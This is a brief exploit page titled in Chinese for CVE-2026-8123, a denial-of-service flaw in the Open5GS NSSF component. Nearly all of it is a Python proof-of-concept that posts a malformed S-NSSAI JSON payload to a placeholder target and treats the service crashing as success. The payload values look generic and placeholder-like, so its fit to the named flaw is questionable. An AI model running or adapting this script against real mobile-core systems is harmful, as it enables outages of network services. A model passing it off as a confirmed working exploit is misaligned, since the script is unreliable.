CVE-2026-8123 Open5GS NSSF组件拒绝服务漏洞

import requests import json # Target configuration (Replace with actual target details) target_url = "http://TARGET_IP:PORT/nssf-nssf-discovery" # Crafted payload to trigger the vulnerability in ogs_sbi_discovery_option_add_snssais # The payload structure mimics a malformed S-NSSAI request. malicious_payload = { "nfInstanceId": "trigger", "nfType": "NSSF", "discoveryRequest": { "snssais": [ { "sst": 1, "sd": "overflow_trigger_here" } ] } } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"Sending exploit payload to {target_url}...") response = requests.post(target_url, json=malicious_payload, headers=headers, timeout=10) print(f"Response Status: {response.status_code}") print("If the service is unresponsive, the DoS was successful.") except requests.exceptions.RequestException as e: print(f"Request failed or service crashed: {e}")